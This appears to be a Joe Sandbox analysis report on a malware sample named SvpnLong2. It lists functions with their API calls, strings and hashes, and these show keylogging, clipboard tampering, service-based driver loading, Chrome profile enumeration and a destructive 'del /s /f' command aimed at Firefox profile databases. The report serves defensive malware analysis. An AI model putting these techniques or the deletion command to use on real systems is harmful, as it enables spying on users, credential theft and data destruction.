Instruction ID: e379bdf65cf5c558a7434f3e4a508468472c8f8612da7743e6a47abbb1c0475c
Opcode Fuzzy Hash: e33c38ae5819eb9e48e9ea88f34de7988f70daf09292e8181e9fb43e05a58b4a
Instruction Fuzzy Hash: 9BF03936B04B4496CB98DFBAA45429A73A6F7887D4F44412AEE4DC7759EE3CC2048B40

Function 0184E8A5 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 018530BC: _errno.LIBCMT ref: 018530E7
Part of subcall function 018530BC: _invalid_parameter_noinfo.LIBCMT ref: 018530F2

FindCloseChangeNotification.KERNELBASE ref: 0184E9F9

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: fe1b2c9a00d0439b6484432930ce1f5736a7d7bb895aa72d2332d0093413d6f7
Instruction ID: 73ea8842993b51461be423ff532bbacd13fda5a1a985e76f6d72d6f9ac49aee1
Opcode Fuzzy Hash: fe1b2c9a00d0439b6484432930ce1f5736a7d7bb895aa72d2332d0093413d6f7
Instruction Fuzzy Hash: B8E01236608B44C3DB54DFA5B4103DA7765F788794F04452AFE4E93754DE3CC2548B04

Function 0184E9D8 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Part of subcall function 018530BC: _errno.LIBCMT ref: 018530E7
Part of subcall function 018530BC: _invalid_parameter_noinfo.LIBCMT ref: 018530F2

FindCloseChangeNotification.KERNELBASE ref: 0184E9F9

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: d6125d13708f799677689afbea7ffb082b258275de06f0192fa5187475e311fc
Instruction ID: 62deb0a6b15a9d58f47a17febd04b3ce3a7e587e5b07c623afbf75596172e931
Opcode Fuzzy Hash: d6125d13708f799677689afbea7ffb082b258275de06f0192fa5187475e311fc
Instruction Fuzzy Hash: 49D01273A14B4182D714DF65B42478A7395F789798F44402AAE4D87714DE38C255CB04

Function 0000000180004234 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000000180004238

Part of subcall function 0000000180004B68: _amsg_exit.LIBCMT ref: 0000000180004B7E

Part of subcall function 0000000180004234: RtlExitUserThread.NTDLL ref: 000000018000422C

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: ExitThreadUser_amsg_exit_getptd
String ID:
API String ID: 3266111976-0
Opcode ID: c114c4b460a9e0476c6971c1e4cd90c8ba49cf2aa929bc28f72c643767069ebc
Instruction ID: 689ab33ce3d247c5356e3a77d5cbf4e965d8621cf7abf6f7cb1efba6b51bd874
Opcode Fuzzy Hash: c114c4b460a9e0476c6971c1e4cd90c8ba49cf2aa929bc28f72c643767069ebc
Instruction Fuzzy Hash: 9CD0C920A8350C0BD989B374585A7E835916B89345FC654A4F40D87293DD594A884305

Function 000000018000663C Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE(?,?,?,?,?,?,?,?,?,0000000180004682), ref: 0000000180006647

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: 9ab8065276bcf690e89b2471f4548d4fa3c5317946d1571e7ce56871cb081ee4
Instruction ID: a4d4774f5a7995791e053896ddb48f15c720e6e145cabc64ab33ef8ef04a8bcd
Opcode Fuzzy Hash: 9ab8065276bcf690e89b2471f4548d4fa3c5317946d1571e7ce56871cb081ee4
Instruction Fuzzy Hash: F8C02B30065C09CBE708BB20DCC978433B0F304305FC00220D045C10E0D76C04C4C701

Function 0000000180001B30 Relevance: 1.5, APIs: 1, Instructions: 236memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 0000000180001BDE

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8ce768d7d392b9b12c8eaff354181e9aa92beea7b53a1cb52b7eb0615edc4fb6
Instruction ID: 647bb33e7e5294159eb11dc37eb191210d120268ece7944346e22f7257a957f2
Opcode Fuzzy Hash: 8ce768d7d392b9b12c8eaff354181e9aa92beea7b53a1cb52b7eb0615edc4fb6
Instruction Fuzzy Hash: 39817B30618F499FE78AEB28D4457E5B7E1FB58345F10822EE44AC3681DB34F9958BC1

Function 0184E91F Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 018530BC: _errno.LIBCMT ref: 018530E7
Part of subcall function 018530BC: _invalid_parameter_noinfo.LIBCMT ref: 018530F2

CloseHandle.KERNEL32 ref: 0184E957

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: CloseHandle_errno_invalid_parameter_noinfo
String ID:
API String ID: 4154143816-0
Opcode ID: 6968cceffff01d735b6ebd56def7f1b4ed7aa33f54521a4776e989f45e377667
Instruction ID: 22196217edbb6c5eaf0ad3274b33d606473ad82e048ae526ed655e0f73870a1e
Opcode Fuzzy Hash: 6968cceffff01d735b6ebd56def7f1b4ed7aa33f54521a4776e989f45e377667
Instruction Fuzzy Hash: 06F03A32604A5586E740DB95F4107D6B7A1F388BA8F4441269E4D47755CF7CC295CB44

Function 0184E7A5 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0184E7B1

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 173b2ec5e022ee776b24513b541c10d14d834b8f36d2d81bd77bd2e64784ec69
Instruction ID: 27d4a81beae7e123ee91735acb704e171a4ff5bc17f3cf5ae7993d4c5ecd4b67
Opcode Fuzzy Hash: 173b2ec5e022ee776b24513b541c10d14d834b8f36d2d81bd77bd2e64784ec69
Instruction Fuzzy Hash: F0E04F3765CAC887E3418B59F0043E5A721E384BA4F4C1011DF8D07695CEBCC1D5CB40

Non-executed Functions

Function 0184F8D0 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 132servicefilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 018538A4: GetSystemTimeAsFileTime.KERNEL32 ref: 018538B2

Part of subcall function 01854238: _getptd.LIBCMT ref: 01854240

rand.LIBCMT ref: 0184F930

Part of subcall function 01854250: _getptd.LIBCMT ref: 01854254

OpenSCManagerA.ADVAPI32 ref: 0184F972
CreateFileA.KERNEL32 ref: 0184F9B6
CloseHandle.KERNEL32 ref: 0184F9D1
CloseServiceHandle.ADVAPI32 ref: 0184F9DA
CreateServiceA.ADVAPI32 ref: 0184FA3A
WriteFile.KERNEL32 ref: 0184FA62
DeleteService.ADVAPI32 ref: 0184FA6F
CloseServiceHandle.ADVAPI32 ref: 0184FA78

Part of subcall function 018522C0: GetComputerNameA.KERNEL32 ref: 0185230D
Part of subcall function 018522C0: lstrcpy.KERNEL32 ref: 01852323
Part of subcall function 018522C0: wsprintfA.USER32 ref: 01852352

CloseHandle.KERNEL32 ref: 0184FA81
CloseServiceHandle.ADVAPI32 ref: 0184FA8A
CloseHandle.KERNEL32 ref: 0184FA95
StartServiceA.ADVAPI32 ref: 0184FAA3
Sleep.KERNEL32 ref: 0184FAAE
DeleteService.ADVAPI32 ref: 0184FAC0
CloseServiceHandle.ADVAPI32 ref: 0184FAC9
CloseServiceHandle.ADVAPI32 ref: 0184FAD2
DeleteFileA.KERNEL32 ref: 0184FAE0

Strings

C:\ProgramData\girl.jpg, xrefs: 0184F8F1
driver, xrefs: 0184FAE8

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Service$CloseHandle$File$Delete$CreateTime_getptd$ComputerManagerNameOpenSleepStartSystemWritelstrcpyrandwsprintf
String ID: C:\ProgramData\girl.jpg$driver
API String ID: 2345241111-1437884672
Opcode ID: 53eb58d8bc7e5c86ebc4f5c6a1cd5b0797da75ab4fed423043770211063ab763
Instruction ID: 9855fc0995b0528d4f19f427e3843ab9ef45af7edce0bd9abd73af58a0efc4ed
Opcode Fuzzy Hash: 53eb58d8bc7e5c86ebc4f5c6a1cd5b0797da75ab4fed423043770211063ab763
Instruction Fuzzy Hash: AC517E31218B84C6EB64DF69F82439A77A1F78AB94F448119DE8E87B64DF3CC245CB01

Function 018584A8 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 200COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 018584D8
_invalid_parameter_noinfo.LIBCMT ref: 018584E3
_errno.LIBCMT ref: 01858508
_errno.LIBCMT ref: 01858510
_errno.LIBCMT ref: 01858534
_errno.LIBCMT ref: 0185866F

Strings

del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db, xrefs: 018584B3
PATH, xrefs: 01858558

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: PATH$del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db
API String ID: 2819658684-2861927837
Opcode ID: 16eb0ea71d57a3bd6c123992474995924112951501028e909f13044014a2df03
Instruction ID: 1197dff29d435da4590b3dfb8b2eb6563556e5da6b9a81f2b320b44183a1cb66
Opcode Fuzzy Hash: 16eb0ea71d57a3bd6c123992474995924112951501028e909f13044014a2df03
Instruction Fuzzy Hash: 2851F46130120642FFA5AA6F954477E6AC2EB97BE4F448626CF26C7B85DF38C3418712

Function 0184DA90 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 125synchronizationfilekeyboardCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32 ref: 0184DACD
lstrcat.KERNEL32 ref: 0184DADD
CreateMutexA.KERNEL32 ref: 0184DAEE
WaitForSingleObject.KERNEL32 ref: 0184DB06
CreateFileA.KERNEL32 ref: 0184DB34
GetFileSize.KERNEL32 ref: 0184DB42
CloseHandle.KERNEL32 ref: 0184DB4D
DeleteFileA.KERNEL32 ref: 0184DB5E
ReleaseMutex.KERNEL32 ref: 0184DB70
GetTickCount.KERNEL32 ref: 0184DC49
GetKeyState.USER32 ref: 0184DC5A

Strings

paEqfEiINh.jre, xrefs: 0184DAE3
<, xrefs: 0184DC14
\paEqfEiINh.jre, xrefs: 0184DAD3

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: File$CreateMutex$CloseCountDeleteFolderHandleObjectPathReleaseSingleSizeStateTickWaitlstrcat
String ID: <$\paEqfEiINh.jre$paEqfEiINh.jre
API String ID: 2154846255-3527366935
Opcode ID: 6c7ab68a6e8c8b9b25d8f9e5ec86961622a06cf0fad72c85faeb98ebb45e2da3
Instruction ID: bc1fe17764f8dd5b1fe3b16249d9e29bb14191735d048f2dd695e0b69424afc2
Opcode Fuzzy Hash: 6c7ab68a6e8c8b9b25d8f9e5ec86961622a06cf0fad72c85faeb98ebb45e2da3
Instruction Fuzzy Hash: 74512872300B4592EB10DF66F8A47AA3764FB99B88F81811ADE4E87724DF7DC249C740

Function 000000018006AE9C Relevance: 23.8, APIs: 12, Strings: 1, Instructions: 1041COMMON

Download Yara Rule

APIs

Part of subcall function 00000001800071B8: _getptd.LIBCMT ref: 00000001800071CA

_errno.LIBCMT ref: 000000018006AF0A
_invalid_parameter_noinfo.LIBCMT ref: 000000018006AF15
_fileno.LIBCMT ref: 000000018006AF4D
_errno.LIBCMT ref: 000000018006AFBE
_invalid_parameter_noinfo.LIBCMT ref: 000000018006AFC9
write_multi_char.LIBCMT ref: 000000018006B596
write_multi_char.LIBCMT ref: 000000018006B5C8
write_multi_char.LIBCMT ref: 000000018006B674
write_char.LIBCMT ref: 000000018006B7CC
write_char.LIBCMT ref: 000000018006B7ED

Strings

, xrefs: 000000018006B566

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: write_multi_char$_errno_invalid_parameter_noinfowrite_char$_fileno_getptd
String ID:
API String ID: 223655735-3916222277
Opcode ID: 5697b3cd6f7d32686ac5f27aaa14c42e6484f4f1944c11ced9c6de0a0661a6c0
Instruction ID: 4390cc9f782df7e2c6873bfcd2cb727513f16ee09a7c7d0c16808e5c21c2d211
Opcode Fuzzy Hash: 5697b3cd6f7d32686ac5f27aaa14c42e6484f4f1944c11ced9c6de0a0661a6c0
Instruction Fuzzy Hash: F06208B0518B4D4AF7EA9A18CC513FA77D2FB99380F34811DF5A7C31D2DE248A8A8741

Function 000000018006A518 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 704COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000000018006A56E
_errno.LIBCMT ref: 000000018006A575
_invalid_parameter_noinfo.LIBCMT ref: 000000018006A580

Strings

U, xrefs: 000000018006AAFC

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: __doserrno_errno_invalid_parameter_noinfo
String ID: U
API String ID: 3902385426-4171548499
Opcode ID: 8824c056619ef21dbb7ba2378e0681992714d8e13a2f009c71f8bb7c3087c666
Instruction ID: f3b9135ba636f5b59154194389ec4144acfac5037605f5b3af839168e02a20c2
Opcode Fuzzy Hash: 8824c056619ef21dbb7ba2378e0681992714d8e13a2f009c71f8bb7c3087c666
Instruction Fuzzy Hash: CB32C33111CB488BF75AAB58CC457EA73E2FB8A345F20451DF497C3192DF24D94A8B82

Function 0184F360 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 73memoryprocessthreadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0184F3A0
GetCurrentThreadId.KERNEL32 ref: 0184F3A8
VirtualProtect.KERNEL32 ref: 0184F3CF
VirtualProtect.KERNEL32 ref: 0184F3F6
CreateProcessWithLogonW.ADVAPI32 ref: 0184F450
VirtualProtect.KERNEL32 ref: 0184F475
VirtualProtect.KERNEL32 ref: 0184F49C
CloseHandle.KERNEL32 ref: 0184F4AC

Strings

MalseclogonPwd, xrefs: 0184F431
C:\Users\Public\Music\Trace.exe, xrefs: 0184F41D
MalseclogonDomain, xrefs: 0184F438
MalseclogonUser, xrefs: 0184F43F

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ProtectVirtual$CurrentProcess$CloseCreateHandleLogonThreadWith
String ID: C:\Users\Public\Music\Trace.exe$MalseclogonDomain$MalseclogonPwd$MalseclogonUser
API String ID: 1105788500-813928492
Opcode ID: c3c744244b4ba0166f4aac0889bd4d1c59ceb72ff8b232e4f975cf0e8a33e14d
Instruction ID: 22e6e64bccac50989c36e8bcc22613af9320a62531629c8b9dc00483541b7b17
Opcode Fuzzy Hash: c3c744244b4ba0166f4aac0889bd4d1c59ceb72ff8b232e4f975cf0e8a33e14d
Instruction Fuzzy Hash: 9E310A32214B8AA7DB20CF61F844BDA7778F784794F404516DB8D43A24EF39D669CB40

Function 0184DEB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 168stringkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 0184DD70: GetForegroundWindow.USER32 ref: 0184DD9F
Part of subcall function 0184DD70: GetWindowTextA.USER32 ref: 0184DDBC
Part of subcall function 0184DD70: lstrlen.KERNEL32 ref: 0184DDF5
Part of subcall function 0184DD70: GetLocalTime.KERNEL32 ref: 0184DE04
Part of subcall function 0184DD70: wsprintfA.USER32 ref: 0184DE54

GetKeyState.USER32 ref: 0184DFA5
lstrlen.KERNEL32 ref: 0184DFFE
lstrlen.KERNEL32 ref: 0184E01E
lstrlen.KERNEL32 ref: 0184E046
wsprintfA.USER32 ref: 0184E06C
wsprintfA.USER32 ref: 0184E08B
wsprintfA.USER32 ref: 0184E0BE
lstrlen.KERNEL32 ref: 0184E105

Part of subcall function 0184DCA0: WaitForSingleObject.KERNEL32 ref: 0184DCBC
Part of subcall function 0184DCA0: CreateFileA.KERNEL32 ref: 0184DCEE
Part of subcall function 0184DCA0: SetFilePointer.KERNEL32 ref: 0184DD13
Part of subcall function 0184DCA0: lstrlen.KERNEL32 ref: 0184DD1C
Part of subcall function 0184DCA0: WriteFile.KERNEL32 ref: 0184DD39
Part of subcall function 0184DCA0: CloseHandle.KERNEL32 ref: 0184DD42
Part of subcall function 0184DCA0: ReleaseMutex.KERNEL32 ref: 0184DD54

Strings

[esc], xrefs: 0184DF06
%s%s, xrefs: 0184E05F

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: lstrlen$wsprintf$File$Window$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleStateTextTimeWaitWrite
String ID: %s%s$[esc]
API String ID: 3231454590-1031636121
Opcode ID: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction ID: 523b86c05741de287b48ce4d4566d3c4424a768dd10c08a275213f46b60eaf9a
Opcode Fuzzy Hash: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction Fuzzy Hash: 44619E31250B489BEB20CF69E8947A93BA5F745B84F854119EE5A87764DF3CC389C700

Function 01844210 Relevance: 16.6, APIs: 11, Instructions: 84clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 01844248
IsClipboardFormatAvailable.USER32 ref: 0184425B
GetClipboardData.USER32 ref: 0184426E
GlobalLock.KERNEL32 ref: 0184427A
GlobalAlloc.KERNEL32 ref: 018442DB
EmptyClipboard.USER32 ref: 018442E9
GlobalLock.KERNEL32 ref: 018442F6
SetClipboardData.USER32 ref: 0184432D
GlobalUnWire.KERNEL32 ref: 01844336
GlobalUnWire.KERNEL32 ref: 0184433F
CloseClipboard.USER32 ref: 01844358

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Clipboard$Global$DataLockWire$AllocAvailableCloseEmptyFormatOpen
String ID:
API String ID: 343666531-0
Opcode ID: 1520aafe18ceae4927992e8086df8ccd48fc93fe8afe81992f011c29e9d2694e
Instruction ID: b4aa7aded17ab21820fa3c360d7484860484d07e0d7cfcbb1159eb67580d8803
Opcode Fuzzy Hash: 1520aafe18ceae4927992e8086df8ccd48fc93fe8afe81992f011c29e9d2694e
Instruction Fuzzy Hash: 98314F31204B8482FB249B69F45835AB761FB86FE4F484219DAAE877E4DF3CC6858711

Function 0185A244 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 159fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 0185A289
_set_error_mode.LIBCMT ref: 0185A29A
GetModuleFileNameW.KERNEL32 ref: 0185A2FC

Part of subcall function 01855664: GetCurrentProcess.KERNEL32(?,?,?,?,01855706), ref: 0185567C

GetStdHandle.KERNEL32 ref: 0185A411
WriteFile.KERNEL32 ref: 0185A46E

Strings

<program name unknown>, xrefs: 0185A30B
Runtime Error!Program: , xrefs: 0185A2C9
Microsoft Visual C++ Runtime Library, xrefs: 0185A3B5
..., xrefs: 0185A34E

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: File_set_error_mode$CurrentHandleModuleNameProcessWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 2183313154-4022980321
Opcode ID: 8e4d3337468e646ce14a3e25e1fe5a7b30891aaab43cde87039b33af64e3d3e6
Instruction ID: 590967c7cb4818b6e5077d0567d04e7e0c2f138636e8475b1986f22615119f5e
Opcode Fuzzy Hash: 8e4d3337468e646ce14a3e25e1fe5a7b30891aaab43cde87039b33af64e3d3e6
Instruction Fuzzy Hash: 5751D43530479182EBA8DB39A8A479B7751FB99784F944216DF5A83B54DF3CC306C702

Function 01853FA4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 01858BB4: _lock.LIBCMT ref: 01858BDB
Part of subcall function 01858BB4: _errno.LIBCMT ref: 01858BEF
Part of subcall function 01858BB4: _invalid_parameter_noinfo.LIBCMT ref: 01858BFB

_errno.LIBCMT ref: 0185402B
_errno.LIBCMT ref: 01854032
_errno.LIBCMT ref: 01854052

Part of subcall function 01855664: GetCurrentProcess.KERNEL32(?,?,?,?,01855706), ref: 0185567C

_errno.LIBCMT ref: 0185405B
_errno.LIBCMT ref: 01854065
_errno.LIBCMT ref: 0185406F
free.LIBCMT ref: 01854095

Strings

COMSPEC, xrefs: 01853FB9
cmd.exe, xrefs: 01854076

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _errno$CurrentProcess_invalid_parameter_noinfo_lockfree
String ID: COMSPEC$cmd.exe
API String ID: 3119157571-2256226045
Opcode ID: 70e500e4932d79dd561504cb2507e6bd4fbe024543631db059dd84dad546bfc4
Instruction ID: 46c6aaf40963da5a1bb67981b71e5a01727d05cf22c7443d7ce91549b8b0802c
Opcode Fuzzy Hash: 70e500e4932d79dd561504cb2507e6bd4fbe024543631db059dd84dad546bfc4
Instruction Fuzzy Hash: 1C21B432700B0189FB95DFB9A84129D3BA5FB993C4B948125DF49C7E08EF38C254C352

Function 01853904 Relevance: 15.3, APIs: 10, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 01853926
_invalid_parameter_noinfo.LIBCMT ref: 01853932
_errno.LIBCMT ref: 0185395C
__tzset.LIBCMT ref: 01853979
_get_daylight.LIBCMT ref: 01853982
_get_daylight.LIBCMT ref: 01853993
_get_daylight.LIBCMT ref: 018539A4
_isindst.LIBCMT ref: 018539E8
_isindst.LIBCMT ref: 01853A38
__getgmtimebuf.LIBCMT ref: 01853C32

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: 272c2594e5c80fedb97708bf7dceb37fdc9c65d90fbe440f5269eeb1383fd128
Instruction ID: 1dc22b54282d1421e7c170cfed7de32d01f12560bef9e8963e940200d957af2b
Opcode Fuzzy Hash: 272c2594e5c80fedb97708bf7dceb37fdc9c65d90fbe440f5269eeb1383fd128
Instruction Fuzzy Hash: 0381E3B3B0078A87DFA89F79D85076977A5F754BC8F449026DE0ACBB49EB38C2018740

Function 0184EF20 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 127fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 0184EFF0

Part of subcall function 0185FA68: std::exception::exception.LIBCMT ref: 0185FA7B
Part of subcall function 0185FA68: std::exception::exception.LIBCMT ref: 0185FAA9

Strings

invalid string position, xrefs: 0184EF9A
\AppData\Local\Google\Chrome\User Data\Default, xrefs: 0184EF23
*.*, xrefs: 0184EFC9

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: std::exception::exception$FileFindFirst
String ID: *.*$\AppData\Local\Google\Chrome\User Data\Default$invalid string position
API String ID: 3164152327-3505193513
Opcode ID: 24b9377e27cea4ba7f0592e07dcaed66b30ce5cf14af16abe64d73a40e42772e
Instruction ID: dea1e775617167611c0028d5276fbbc34d385da0516563702cdae166da25770c
Opcode Fuzzy Hash: 24b9377e27cea4ba7f0592e07dcaed66b30ce5cf14af16abe64d73a40e42772e
Instruction Fuzzy Hash: 36519F32204F4586EB20DB29E89439E7771F7957A8F544216DB9EC7AA8DF38C789C700

